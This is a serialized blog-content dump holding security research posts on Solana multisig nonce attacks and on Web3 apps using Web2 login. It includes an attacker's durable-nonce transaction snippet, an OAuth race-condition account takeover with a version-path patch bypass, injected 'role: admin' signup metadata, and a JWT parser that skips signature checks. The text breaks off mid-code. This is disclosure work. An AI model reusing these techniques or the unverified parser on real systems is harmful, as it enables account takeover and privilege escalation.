8",{"type":23,"tag":504,"props":71043,"children":71044},{"style":5058},[71045],{"type":29,"value":5557},{"type":23,"tag":504,"props":71047,"children":71048},{"class":5016,"line":5728},[71049],{"type":23,"tag":504,"props":71050,"children":71051},{"style":5058},[71052],{"type":29,"value":27426},{"type":23,"tag":504,"props":71054,"children":71055},{"class":5016,"line":5737},[71056],{"type":23,"tag":504,"props":71057,"children":71058},{"style":5058},[71059],{"type":29,"value":39256},{"type":23,"tag":504,"props":71061,"children":71062},{"class":5016,"line":5746},[71063],{"type":23,"tag":504,"props":71064,"children":71065},{"style":5058},[71066],{"type":29,"value":71067},"    ],\n",{"type":23,"tag":504,"props":71069,"children":71070},{"class":5016,"line":5813},[71071],{"type":23,"tag":504,"props":71072,"children":71073},{"style":5058},[71074],{"type":29,"value":7917},{"type":23,"tag":504,"props":71076,"children":71077},{"class":5016,"line":5821},[71078],{"type":23,"tag":504,"props":71079,"children":71080},{"style":5058},[71081],{"type":29,"value":5888},{"type":23,"tag":32,"props":71083,"children":71084},{},[71085,71087,71095],{"type":29,"value":71086},"Unfortunately this is not sufficient",{"type":23,"tag":17520,"props":71088,"children":71089},{},[71090],{"type":23,"tag":68,"props":71091,"children":71093},{"href":31678,"ariaDescribedBy":71092,"dataFootnoteRef":7,"id":31680},[17527],[71094],{"type":29,"value":826},{"type":29,"value":71096},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":4743,"props":71098,"children":71100},{"className":5009,"code":71099,"language":5008,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[71101],{"type":23,"tag":154,"props":71102,"children":71103},{"__ignoreMap":7},[71104,71170,71186,71269],{"type":23,"tag":504,"props":71105,"children":71106},{"class":5016,"line":5017},[71107,71111,71115,71119,71124,71128,71132,71136,71140,71144,71148,71152,71157,71161,71166],{"type":23,"tag":504,"props":71108,"children":71109},{"style":5030},[71110],{"type":29,"value":5033},{"type":23,"tag":504,"props":71112,"children":71113},{"style":5041},[71114],{"type":29,"value":45429},{"type":23,"tag":504,"props":71116,"children":71117},{"style":5047},[71118],{"type":29,"value":5050},{"type":23,"tag":504,"props":71120,"children":71121},{"style":5058},[71122],{"type":29,"value":71123}," system_instruction",{"type":23,"tag":504,"props":71125,"children":71126},{"style":5047},[71127],{"type":29,"value":5530},{"type":23,"tag":504,"props":71129,"children":71130},{"style":5139},[71131],{"type":29,"value":34178},{"type":23,"tag":504,"props":71133,"children":71134},{"style":5058},[71135],{"type":29,"value":603},{"type":23,"tag":504,"props":71137,"children":71138},{"style":5047},[71139],{"type":29,"value":5151},{"type":23,"tag":504,"props":71141,"children":71142},{"style":5041},[71143],{"type":29,"value":21525},{"type":23,"tag":504,"props":71145,"children":71146},{"style":5058},[71147],{"type":29,"value":4367},{"type":23,"tag":504,"props":71149,"children":71150},{"style":5047},[71151],{"type":29,"value":5151},{"type":23,"tag":504,"props":71153,"children":71154},{"style":5041},[71155],{"type":29,"value":71156},"ledger_base_pubkey",{"type":23,"tag":504,"props":71158,"children":71159},{"style":5058},[71160],{"type":29,"value":4367},{"type":23,"tag":504,"props":71162,"children":71163},{"style":5083},[71164],{"type":29,"value":71165},"42",{"type":23,"tag":504,"props":71167,"children":71168},{"style":5058},[71169],{"type":29,"value":5888},{"type":23,"tag":504,"props":71171,"children":71172},{"class":5016,"line":4868},[71173,71177,71182],{"type":23,"tag":504,"props":71174,"children":71175},{"style":5030},[71176],{"type":29,"value":5033},{"type":23,"tag":504,"props":71178,"children":71179},{"style":5041},[71180],{"type":29,"value":71181}," message",{"type":23,"tag":504,"props":71183,"children":71184},{"style":5047},[71185],{"type":29,"value":37912},{"type":23,"tag":504,"props":71187,"children":71188},{"class":5016,"line":4876},[71189,71194,71198,71203,71207,71211,71215,71219,71223,71227,71231,71235,71240,71244,71248,71253,71257,71261,71265],{"type":23,"tag":504,"props":71190,"children":71191},{"style":5467},[71192],{"type":29,"value":71193},"        Message",{"type":23,"tag":504,"props":71195,"children":71196},{"style":5047},[71197],{"type":29,"value":5530},{"type":23,"tag":504,"props":71199,"children":71200},{"style":5139},[71201],{"type":29,"value":71202},"new_with_nonce",{"type":23,"tag":504,"props":71204,"children":71205},{"style":5058},[71206],{"type":29,"value":603},{"type":23,"tag":504,"props":71208,"children":71209},{"style":5139},[71210],{"type":29,"value":5940},{"type":23,"tag":504,"props":71212,"children":71213},{"style":5058},[71214],{"type":29,"value":1380},{"type":23,"tag":504,"props":71216,"children":71217},{"style":5041},[71218],{"type":29,"value":45739},{"type":23,"tag":504,"props":71220,"children":71221},{"style":5058},[71222],{"type":29,"value":25101},{"type":23,"tag":504,"props":71224,"children":71225},{"style":5467},[71226],{"type":29,"value":44078},{"type":23,"tag":504,"props":71228,"children":71229},{"style":5058},[71230],{"type":29,"value":603},{"type":23,"tag":504,"props":71232,"children":71233},{"style":5047},[71234],{"type":29,"value":5151},{"type":23,"tag":504,"props":71236,"children":71237},{"style":5041},[71238],{"type":29,"value":71239},"evil_nonce_authority",{"type":23,"tag":504,"props":71241,"children":71242},{"style":5058},[71243],{"type":29,"value":17224},{"type":23,"tag":504,"props":71245,"children":71246},{"style":5047},[71247],{"type":29,"value":5151},{"type":23,"tag":504,"props":71249,"children":71250},{"style":5041},[71251],{"type":29,"value":71252},"nonce_account",{"type":23,"tag":504,"props":71254,"children":71255},{"style":5058},[71256],{"type":29,"value":4367},{"type":23,"tag":504,"props":71258,"children":71259},{"style":5047},[71260],{"type":29,"value":5151},{"type":23,"tag":504,"props":71262,"children":71263},{"style":5041},[71264],{"type":29,"value":71239},{"type":23,"tag":504,"props":71266,"children":71267},{"style":5058},[71268],{"type":29,"value":5200},{"type":23,"tag":504,"props":71270,"children":71271},{"class":5016,"line":5099},[71272,71276,71281],{"type":23,"tag":504,"props":71273,"children":71274},{"style":5047},[71275],{"type":29,"value":5209},{"type":23,"tag":504,"props":71277,"children":71278},{"style":5139},[71279],{"type":29,"value":71280},"serialize",{"type":23,"tag":504,"props":71282,"children":71283},{"style":5058},[71284],{"type":29,"value":5725},{"type":23,"tag":32,"props":71286,"children":71287},{},[71288,71290,71297],{"type":29,"value":71289},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":68,"props":71291,"children":71294},{"href":71292,"rel":71293},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[72],[71295],{"type":29,"value":71296},"logs the fee-payer here",{"type":29,"value":357},{"type":23,"tag":4743,"props":71299,"children":71301},{"className":18562,"code":71300,"language":3110,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[71302],{"type":23,"tag":154,"props":71303,"children":71304},{"__ignoreMap":7},[71305,71364,71420],{"type":23,"tag":504,"props":71306,"children":71307},{"class":5016,"line":5017},[71308,71312,71317,71321,71325,71330,71334,71339,71343,71347,71351,71355,71360],{"type":23,"tag":504,"props":71309,"children":71310},{"style":5030},[71311],{"type":29,"value":31740},{"type":23,"tag":504,"props":71313,"children":71314},{"style":5139},[71315],{"type":29,"value":71316}," print_config_show_authority",{"type":23,"tag":504,"props":71318,"children":71319},{"style":5058},[71320],{"type":29,"value":603},{"type":23,"tag":504,"props":71322,"children":71323},{"style":5030},[71324],{"type":29,"value":11701},{"type":23,"tag":504,"props":71326,"children":71327},{"style":5058},[71328],{"type":29,"value":71329}," PrintConfig",{"type":23,"tag":504,"props":71331,"children":71332},{"style":5047},[71333],{"type":29,"value":6613},{"type":23,"tag":504,"props":71335,"children":71336},{"style":5041},[71337],{"type":29,"value":71338}," print_config",{"type":23,"tag":504,"props":71340,"children":71341},{"style":5058},[71342],{"type":29,"value":4367},{"type":23,"tag":504,"props":71344,"children":71345},{"style":5030},[71346],{"type":29,"value":11701},{"type":23,"tag":504,"props":71348,"children":71349},{"style":5058},[71350],{"type":29,"value":22909},{"type":23,"tag":504,"props":71352,"children":71353},{"style":5047},[71354],{"type":29,"value":6613},{"type":23,"tag":504,"props":71356,"children":71357},{"style":5041},[71358],{"type":29,"value":71359}," authority",{"type":23,"tag":504,"props":71361,"children":71362},{"style":5058},[71363],{"type":29,"value":16850},{"type":23,"tag":504,"props":71365,"children":71366},{"class":5016,"line":4868},[71367,71371,71375,71379,71384,71388,71392,71397,71401,71406,71410,71415],{"type":23,"tag":504,"props":71368,"children":71369},{"style":5067},[71370],{"type":29,"value":19037},{"type":23,"tag":504,"props":71372,"children":71373},{"style":5041},[71374],{"type":29,"value":71338},{"type":23,"tag":504,"props":71376,"children":71377},{"style":5058},[71378],{"type":29,"value":15803},{"type":23,"tag":504,"props":71380,"children":71381},{"style":5041},[71382],{"type":29,"value":71383},"expert_mode",{"type":23,"tag":504,"props":71385,"children":71386},{"style":5047},[71387],{"type":29,"value":25749},{"type":23,"tag":504,"props":71389,"children":71390},{"style":5047},[71391],{"type":29,"value":14910},{"type":23,"tag":504,"props":71393,"children":71394},{"style":5139},[71395],{"type":29,"value":71396},"pubkeys_equal",{"type":23,"tag":504,"props":71398,"children":71399},{"style":5058},[71400],{"type":29,"value":603},{"type":23,"tag":504,"props":71402,"children":71403},{"style":5041},[71404],{"type":29,"value":71405},"print_config",{"type":23,"tag":504,"props":71407,"children":71408},{"style":5058},[71409],{"type":29,"value":15803},{"type":23,"tag":504,"props":71411,"children":71412},{"style":5041},[71413],{"type":29,"value":71414},"signer_pubkey",{"type":23,"tag":504,"props":71416,"children":71417},{"style":5058},[71418],{"type":29,"value":71419},", authority);\n",{"type":23,"tag":504,"props":71421,"children":71422},{"class":5016,"line":4876},[71423],{"type":23,"tag":504,"props":71424,"children":71425},{"style":5058},[71426],{"type":29,"value":5965},{"type":23,"tag":32,"props":71428,"children":71429},{},[71430],{"type":29,"value":71431},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":32,"props":71433,"children":71434},{},[71435],{"type":29,"value":71436},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":32,"props":71438,"children":71439},{},[71440],{"type":29,"value":71441},"We can then use the following procedure.",{"type":23,"tag":139,"props":71443,"children":71444},{},[71445,71450,71455,71460,71465],{"type":23,"tag":143,"props":71446,"children":71447},{},[71448],{"type":29,"value":71449},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":143,"props":71451,"children":71452},{},[71453],{"type":29,"value":71454},"The first signer signs and submits the transaction.",{"type":23,"tag":143,"props":71456,"children":71457},{},[71458],{"type":29,"value":71459},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":143,"props":71461,"children":71462},{},[71463],{"type":29,"value":71464},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":143,"props":71466,"children":71467},{},[71468],{"type":29,"value":71469},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":24,"props":71471,"children":71473},{"id":71472},"beyond",[71474],{"type":29,"value":71475},"Beyond",{"type":23,"tag":32,"props":71477,"children":71478},{},[71479],{"type":29,"value":71480},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":32,"props":71482,"children":71483},{},[71484,71486,71493],{"type":29,"value":71485},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":68,"props":71487,"children":71490},{"href":71488,"rel":71489},"https://github.com/pcaversaccio/safe-tx-hashes-util",[72],[71491],{"type":29,"value":71492},"validate Safe transaction hashes",{"type":29,"value":71494},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":20472,"props":71496,"children":71498},{"className":71497,"dataFootnotes":7},[20475],[71499,71504],{"type":23,"tag":24,"props":71500,"children":71502},{"className":71501,"id":17527},[20480],[71503],{"type":29,"value":20483},{"type":23,"tag":139,"props":71505,"children":71506},{},[71507],{"type":23,"tag":143,"props":71508,"children":71509},{"id":32421},[71510,71512,71520,71522],{"type":29,"value":71511},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":68,"props":71513,"children":71517},{"href":71514,"rel":71515,":style":71516},"https://twitter.com/PierreArowana",[72],"color: #B1D0EE; text-decoration: underline;",[71518],{"type":29,"value":71519},"@PierreArowana",{"type":29,"value":71521}," for pointing this out to me. ",{"type":23,"tag":68,"props":71523,"children":71525},{"href":32449,"ariaLabel":20586,"className":71524,"dataFootnoteBackref":7},[20588],[71526],{"type":29,"value":20591},{"type":23,"tag":7410,"props":71528,"children":71529},{},[71530],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":71532},[71533,71537,71538,71539],{"id":69729,"depth":4868,"text":69732,"children":71534},[71535,71536],{"id":69740,"depth":4876,"text":69743},{"id":70019,"depth":4876,"text":70022},{"id":70740,"depth":4868,"text":70743},{"id":71472,"depth":4868,"text":71475},{"id":17527,"depth":4868,"text":20483},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":71544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71545,"description":71546,"date":71547,"author":71548,"image":71549,"isFeatured":15,"onBlogPage":15,"tags":71551,"body":71552,"_type":4892,"_id":73249,"_source":4894,"_file":73250,"_stem":73251,"_extension":4897},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[33256,11],{"src":71550},"/posts/web2-in-web3/title.jpg",[34196],{"type":20,"children":71553,"toc":73231},[71554,71559,71564,71569,71595,71601,71606,71612,71633,71639,71644,71651,71664,71694,71700,71744,71751,71757,71790,71811,71819,71838,71845,71850,71856,71861,71866,71891,71896,71902,71908,71929,71935,71962,71990,71997,72002,72007,72352,72356,72378,72384,72405,72419,72432,72437,72453,72458,73186,73191,73196,73201,73213,73217,73222,73227],{"type":23,"tag":32,"props":71555,"children":71556},{},[71557],{"type":29,"value":71558},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":32,"props":71560,"children":71561},{},[71562],{"type":29,"value":71563},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":32,"props":71565,"children":71566},{},[71567],{"type":29,"value":71568},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":139,"props":71570,"children":71571},{},[71572,71577,71590],{"type":23,"tag":143,"props":71573,"children":71574},{},[71575],{"type":29,"value":71576},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":143,"props":71578,"children":71579},{},[71580,71582,71588],{"type":29,"value":71581},"Supabase ",{"type":23,"tag":154,"props":71583,"children":71585},{"className":71584},[],[71586],{"type":29,"value":71587},"user_metadata",{"type":29,"value":71589}," misconfiguration",{"type":23,"tag":143,"props":71591,"children":71592},{},[71593],{"type":29,"value":71594},"OAuth abuse in localhost development environment",{"type":23,"tag":24,"props":71596,"children":71598},{"id":71597},"abusing-oauth-authentication-logic",[71599],{"type":29,"value":71600},"Abusing OAuth Authentication Logic",{"type":23,"tag":32,"props":71602,"children":71603},{},[71604],{"type":29,"value":71605},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":320,"props":71607,"children":71609},{"id":71608},"web3auth-introduction",[71610],{"type":29,"value":71611},"Web3Auth Introduction",{"type":23,"tag":32,"props":71613,"children":71614},{},[71615,71622,71624,71631],{"type":23,"tag":68,"props":71616,"children":71619},{"href":71617,"rel":71618},"https://web3auth.io/",[72],[71620],{"type":29,"value":71621},"Web3Auth",{"type":29,"value":71623}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":68,"props":71625,"children":71628},{"href":71626,"rel":71627},"https://oauth.net/2/",[72],[71629],{"type":29,"value":71630},"OAuth2",{"type":29,"value":71632}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":320,"props":71634,"children":71636},{"id":71635},"web3auth-authentication-flow",[71637],{"type":29,"value":71638},"Web3Auth Authentication flow",{"type":23,"tag":32,"props":71640,"children":71641},{},[71642],{"type":29,"value":71643},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":32,"props":71645,"children":71646},{},[71647],{"type":23,"tag":199,"props":71648,"children":71650},{"alt":201,"src":71649},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":32,"props":71652,"children":71653},{},[71654,71656,71662],{"type":29,"value":71655},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":154,"props":71657,"children":71659},{"className":71658},[],[71660],{"type":29,"value":71661},"client_id",{"type":29,"value":71663},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":32,"props":71665,"children":71666},{},[71667,71669,71675,71677,71683,71685,71692],{"type":29,"value":71668},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":154,"props":71670,"children":71672},{"className":71671},[],[71673],{"type":29,"value":71674},"/start",{"type":29,"value":71676}," validates the ",{"type":23,"tag":154,"props":71678,"children":71680},{"className":71679},[],[71681],{"type":29,"value":71682},"redirect_url",{"type":29,"value":71684}," against the configured ",{"type":23,"tag":68,"props":71686,"children":71689},{"href":71687,"rel":71688},"https://web3auth.io/docs/dashboard-setup/whitelisting",[72],[71690],{"type":29,"value":71691},"whitelist",{"type":29,"value":71693}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":320,"props":71695,"children":71697},{"id":71696},"in-transit-cryptography",[71698],{"type":29,"value":71699},"In-transit Cryptography",{"type":23,"tag":32,"props":71701,"children":71702},{},[71703,71705,71712,71714,71720,71722,71728,71730,71735,71737,71742],{"type":29,"value":71704},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":68,"props":71706,"children":71709},{"href":71707,"rel":71708},"https://en.wikipedia.org/wiki/Key_(cryptography)",[72],[71710],{"type":29,"value":71711},"cryptographic key",{"type":29,"value":71713}," is derived from the ",{"type":23,"tag":154,"props":71715,"children":71717},{"className":71716},[],[71718],{"type":29,"value":71719},"sessionId",{"type":29,"value":71721},"  sent in the ",{"type":23,"tag":154,"props":71723,"children":71725},{"className":71724},[],[71726],{"type":29,"value":71727},"GET",{"type":29,"value":71729}," parameter to the ",{"type":23,"tag":154,"props":71731,"children":71733},{"className":71732},[],[71734],{"type":29,"value":71674},{"type":29,"value":71736},". Since the ",{"type":23,"tag":154,"props":71738,"children":71740},{"className":71739},[],[71741],{"type":29,"value":71719},{"type":29,"value":71743}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":32,"props":71745,"children":71746},{},[71747],{"type":23,"tag":199,"props":71748,"children":71750},{"alt":201,"src":71749},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":320,"props":71752,"children":71754},{"id":71753},"race-condition",[71755],{"type":29,"value":71756},"Race Condition",{"type":23,"tag":32,"props":71758,"children":71759},{},[71760,71762,71767,71769,71775,71777,71782,71784,71789],{"type":29,"value":71761},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":154,"props":71763,"children":71765},{"className":71764},[],[71766],{"type":29,"value":71674},{"type":29,"value":71768}," and later used in the ",{"type":23,"tag":154,"props":71770,"children":71772},{"className":71771},[],[71773],{"type":29,"value":71774},"/end",{"type":29,"value":71776}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":154,"props":71778,"children":71780},{"className":71779},[],[71781],{"type":29,"value":71674},{"type":29,"value":71783},") but before  use (",{"type":23,"tag":154,"props":71785,"children":71787},{"className":71786},[],[71788],{"type":29,"value":71774},{"type":29,"value":161},{"type":23,"tag":32,"props":71791,"children":71792},{},[71793,71795,71802,71804,71809],{"type":29,"value":71794},"To exploit this ",{"type":23,"tag":68,"props":71796,"children":71799},{"href":71797,"rel":71798},"https://portswigger.net/web-security/race-conditions",[72],[71800],{"type":29,"value":71801},"race condition",{"type":29,"value":71803},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":154,"props":71805,"children":71807},{"className":71806},[],[71808],{"type":29,"value":71719},{"type":29,"value":71810}," but with modified malicious parameters.",{"type":23,"tag":32,"props":71812,"children":71813},{},[71814],{"type":23,"tag":38,"props":71815,"children":71816},{},[71817],{"type":29,"value":71818},"What can be modified to achieve something impactful?",{"type":23,"tag":32,"props":71820,"children":71821},{},[71822,71824,71830,71832,71837],{"type":29,"value":71823},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":154,"props":71825,"children":71827},{"className":71826},[],[71828],{"type":29,"value":71829},"redirect_uri",{"type":29,"value":71831}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":154,"props":71833,"children":71835},{"className":71834},[],[71836],{"type":29,"value":71661},{"type":29,"value":357},{"type":23,"tag":32,"props":71839,"children":71840},{},[71841],{"type":23,"tag":199,"props":71842,"children":71844},{"alt":201,"src":71843},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":32,"props":71846,"children":71847},{},[71848],{"type":29,"value":71849},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":320,"props":71851,"children":71853},{"id":71852},"patch-bypass",[71854],{"type":29,"value":71855},"Patch & Bypass",{"type":23,"tag":32,"props":71857,"children":71858},{},[71859],{"type":29,"value":71860},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":32,"props":71862,"children":71863},{},[71864],{"type":29,"value":71865},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":1022,"props":71867,"children":71868},{},[71869,71880],{"type":23,"tag":143,"props":71870,"children":71871},{},[71872,71878],{"type":23,"tag":154,"props":71873,"children":71875},{"className":71874},[],[71876],{"type":29,"value":71877},"https://auth.web3auth.io/v8/start",{"type":29,"value":71879}," (latest version)",{"type":23,"tag":143,"props":71881,"children":71882},{},[71883,71889],{"type":23,"tag":154,"props":71884,"children":71886},{"className":71885},[],[71887],{"type":29,"value":71888},"https://auth.web3auth.io/v6/start",{"type":29,"value":71890}," (bypass)",{"type":23,"tag":32,"props":71892,"children":71893},{},[71894],{"type":29,"value":71895},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":24,"props":71897,"children":71899},{"id":71898},"supabase-metadata-manipulation",[71900],{"type":29,"value":71901},"Supabase metadata manipulation",{"type":23,"tag":320,"props":71903,"children":71905},{"id":71904},"supabase-authentication-flow",[71906],{"type":29,"value":71907},"Supabase Authentication flow",{"type":23,"tag":32,"props":71909,"children":71910},{},[71911,71918,71920,71927],{"type":23,"tag":68,"props":71912,"children":71915},{"href":71913,"rel":71914},"https://supabase.com/docs/guides/auth",[72],[71916],{"type":29,"value":71917},"Supabase",{"type":29,"value":71919}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":68,"props":71921,"children":71924},{"href":71922,"rel":71923},"https://jwt.io/",[72],[71925],{"type":29,"value":71926},"JWT",{"type":29,"value":71928}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":320,"props":71930,"children":71932},{"id":71931},"jwt-verification",[71933],{"type":29,"value":71934},"JWT verification",{"type":23,"tag":32,"props":71936,"children":71937},{},[71938,71940,71945,71946,71952,71954,71960],{"type":29,"value":71939},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":154,"props":71941,"children":71943},{"className":71942},[],[71944],{"type":29,"value":71587},{"type":29,"value":4478},{"type":23,"tag":154,"props":71947,"children":71949},{"className":71948},[],[71950],{"type":29,"value":71951},"identity_data",{"type":29,"value":71953},", in a signup request by manipulating the input inside the ",{"type":23,"tag":154,"props":71955,"children":71957},{"className":71956},[],[71958],{"type":29,"value":71959},"\"data\": {}",{"type":29,"value":71961}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":32,"props":71963,"children":71964},{},[71965,71967,71973,71974,71980,71982,71988],{"type":29,"value":71966},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":154,"props":71968,"children":71970},{"className":71969},[],[71971],{"type":29,"value":71972},"\"role\": \"admin\"",{"type":29,"value":15180},{"type":23,"tag":154,"props":71975,"children":71977},{"className":71976},[],[71978],{"type":29,"value":71979},"\"email_verified\": true",{"type":29,"value":71981},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":154,"props":71983,"children":71985},{"className":71984},[],[71986],{"type":29,"value":71987},"\"test\": \"test\"",{"type":29,"value":71989},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":32,"props":71991,"children":71992},{},[71993],{"type":23,"tag":199,"props":71994,"children":71996},{"alt":201,"src":71995},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":32,"props":71998,"children":71999},{},[72000],{"type":29,"value":72001},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":32,"props":72003,"children":72004},{},[72005],{"type":29,"value":72006},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":4743,"props":72008,"children":72010},{"className":33418,"code":72009,"language":33420,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[72011],{"type":23,"tag":154,"props":72012,"children":72013},{"__ignoreMap":7},[72014,72039,72051,72120,72169,72217,72262,72285,72322,72338,72345],{"type":23,"tag":504,"props":72015,"children":72016},{"class":5016,"line":5017},[72017,72021,72026,72030,72035],{"type":23,"tag":504,"props":72018,"children":72019},{"style":5030},[72020],{"type":29,"value":33432},{"type":23,"tag":504,"props":72022,"children":72023},{"style":5139},[72024],{"type":29,"value":72025}," parseSupaBase",{"type":23,"tag":504,"props":72027,"children":72028},{"style":5058},[72029],{"type":29,"value":603},{"type":23,"tag":504,"props":72031,"children":72032},{"style":5041},[72033],{"type":29,"value":72034},"token",{"type":23,"tag":504,"props":72036,"children":72037},{"style":5058},[72038],{"type":29,"value":16850},{"type":23,"tag":504,"props":72040,"children":72041},{"class":5016,"line":4868},[72042,72047],{"type":23,"tag":504,"props":72043,"children":72044},{"style":5067},[72045],{"type":29,"value":72046},"    try",{"type":23,"tag":504,"props":72048,"children":72049},{"style":5058},[72050],{"type":29,"value":5333},{"type":23,"tag":504,"props":72052,"children":72053},{"class":5016,"line":4876},[72054,72058,72062,72067,72071,72076,72080,72085,72089,72093,72098,72102,72107,72111,72116],{"type":23,"tag":504,"props":72055,"children":72056},{"style":5030},[72057],{"type":29,"value":34957},{"type":23,"tag":504,"props":72059,"children":72060},{"style":5058},[72061],{"type":29,"value":25073},{"type":23,"tag":504,"props":72063,"children":72064},{"style":5041},[72065],{"type":29,"value":72066},"header",{"type":23,"tag":504,"props":72068,"children":72069},{"style":5058},[72070],{"type":29,"value":4367},{"type":23,"tag":504,"props":72072,"children":72073},{"style":5041},[72074],{"type":29,"value":72075},"payload",{"type":23,"tag":504,"props":72077,"children":72078},{"style":5058},[72079],{"type":29,"value":4367},{"type":23,"tag":504,"props":72081,"children":72082},{"style":5041},[72083],{"type":29,"value":72084},"signature",{"type":23,"tag":504,"props":72086,"children":72087},{"style":5058},[72088],{"type":29,"value":10706},{"type":23,"tag":504,"props":72090,"children":72091},{"style":5047},[72092],{"type":29,"value":546},{"type":23,"tag":504,"props":72094,"children":72095},{"style":5041},[72096],{"type":29,"value":72097}," 